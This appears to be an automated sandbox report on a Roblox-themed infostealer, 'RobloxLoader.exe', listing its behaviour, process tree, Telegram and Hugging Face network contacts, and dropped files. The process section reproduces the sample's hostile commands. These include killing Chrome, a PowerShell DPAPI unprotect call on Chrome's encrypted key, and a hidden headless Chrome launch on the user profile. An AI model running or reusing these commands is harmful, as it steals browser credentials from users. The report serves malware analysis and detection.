Malware Analysis Report

2025-01-22 08:47

Sample ID 241027-t8y6vaxmex
Target RobloxLoader.exe
SHA256 4d9b1a73f95cc6a00e7f2cd032c4f877fc15bf66d4f6ec9b61b18e37e791750f
Tags
spyware stealer
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

4d9b1a73f95cc6a00e7f2cd032c4f877fc15bf66d4f6ec9b61b18e37e791750f

Threat Level: Shows suspicious behavior

The file RobloxLoader.exe was found to be: Shows suspicious behavior.

Malicious Activity Summary

spyware stealer

Checks computer location settings

Reads user/profile data of web browsers

Loads dropped DLL

An obfuscated cmd.exe command-line is typically used to evade detection.

Drops file in Program Files directory

Unsigned PE

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-27 16:44

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-27 16:44

Reported

2024-10-27 16:45

Platform

win10v2004-20241007-en

Max time kernel

63s

Max time network

68s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A

Reads user/profile data of web browsers

spyware stealer

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Google\Chrome\Application\debug.log C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File opened for modification C:\Program Files\Google\Chrome\Application\123.0.6312.123\debug.log C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2160 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 2160 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 1848 wrote to memory of 1816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1848 wrote to memory of 1816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2160 wrote to memory of 664 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 2160 wrote to memory of 664 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 664 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 664 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2160 wrote to memory of 3584 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 2160 wrote to memory of 3584 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 3584 wrote to memory of 5088 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3584 wrote to memory of 5088 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2160 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 2160 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Windows\system32\cmd.exe
PID 3184 wrote to memory of 1384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3184 wrote to memory of 1384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2160 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2160 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 2820 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 2820 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 4236 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 4236 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4600 wrote to memory of 1532 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe

"C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic logicaldisk get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"

C:\Windows\system32\taskkill.exe

taskkill /F /IM chrome.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,2,142,118,8,95,31,118,64,160,100,56,129,213,73,187,252,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,233,113,106,0,247,215,176,4,214,100,69,24,12,82,184,99,251,48,99,62,224,63,15,20,29,91,157,107,67,169,249,96,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,252,121,179,237,157,205,101,66,46,197,237,84,78,146,147,24,228,86,99,11,181,9,197,187,81,221,135,249,220,177,151,54,48,0,0,0,201,32,108,188,0,214,238,125,56,14,128,232,126,3,179,153,60,210,117,251,33,154,83,61,107,79,102,158,116,82,197,193,171,143,252,200,195,47,26,56,146,47,159,112,126,10,213,222,64,0,0,0,126,107,51,243,210,113,53,220,214,140,169,196,68,149,197,199,57,133,144,71,163,241,191,42,246,87,185,8,107,45,47,241,156,235,130,58,10,186,143,102,250,211,197,126,173,68,108,167,40,14,195,38,121,76,232,215,128,91,229,33,134,94,213,207), $null, 'CurrentUser')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,2,142,118,8,95,31,118,64,160,100,56,129,213,73,187,252,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,233,113,106,0,247,215,176,4,214,100,69,24,12,82,184,99,251,48,99,62,224,63,15,20,29,91,157,107,67,169,249,96,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,252,121,179,237,157,205,101,66,46,197,237,84,78,146,147,24,228,86,99,11,181,9,197,187,81,221,135,249,220,177,151,54,48,0,0,0,201,32,108,188,0,214,238,125,56,14,128,232,126,3,179,153,60,210,117,251,33,154,83,61,107,79,102,158,116,82,197,193,171,143,252,200,195,47,26,56,146,47,159,112,126,10,213,222,64,0,0,0,126,107,51,243,210,113,53,220,214,140,169,196,68,149,197,199,57,133,144,71,163,241,191,42,246,87,185,8,107,45,47,241,156,235,130,58,10,186,143,102,250,211,197,126,173,68,108,167,40,14,195,38,121,76,232,215,128,91,229,33,134,94,213,207), $null, 'CurrentUser')

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"

C:\Windows\system32\taskkill.exe

taskkill /F /IM chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --headless --window-position=-10000,-10000

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff97478cc40,0x7ff97478cc4c,0x7ff97478cc58

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --field-trial-handle=1436,i,10202923576128820199,12732699221550718157,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1428 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --use-angle=swiftshader-webgl --use-gl=angle --headless --field-trial-handle=1752,i,10202923576128820199,12732699221550718157,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1748 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --headless --allow-pre-commit-input --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1788,i,10202923576128820199,12732699221550718157,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1780 /prefetch:1

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
US 8.8.8.8:53 huggingface.co udp
NL 149.154.167.220:443 api.telegram.org tcp
NL 18.239.50.16:443 huggingface.co tcp
US 8.8.8.8:53 16.50.239.18.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node

MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5s1500yk.rtf.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5088-82-0x0000011F57E90000-0x0000011F57EB2000-memory.dmp

memory/5088-83-0x0000011F582A0000-0x0000011F582F0000-memory.dmp

C:\Users\Admin\AppData\Roaming\node_sqlite3.node

MD5 7cbb230781b09f0543c935ce1d17dad0
SHA1 84d30df3dd76a7bd50ce54ae461277002abd619e
SHA256 90d39ca6189c82070a36a8f7784fb44578d05ba4c043ba42d254b76bcfe47a4d
SHA512 14a9964bbde4e2c05077bfabb518a99e6108fb3dc4acc69905fbfa2f295b119edfdd3f758d8913fd1faac96c18c90e6b97cc14568e931d0732e8b1a24e5d5fdf

\??\pipe\crashpad_4600_VSWCZTUYVTDDRXOJ

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-27 16:44

Reported

2024-10-27 16:45

Platform

win7-20241010-en

Max time kernel

44s

Max time network

17s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe

"C:\Users\Admin\AppData\Local\Temp\RobloxLoader.exe"

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

N/A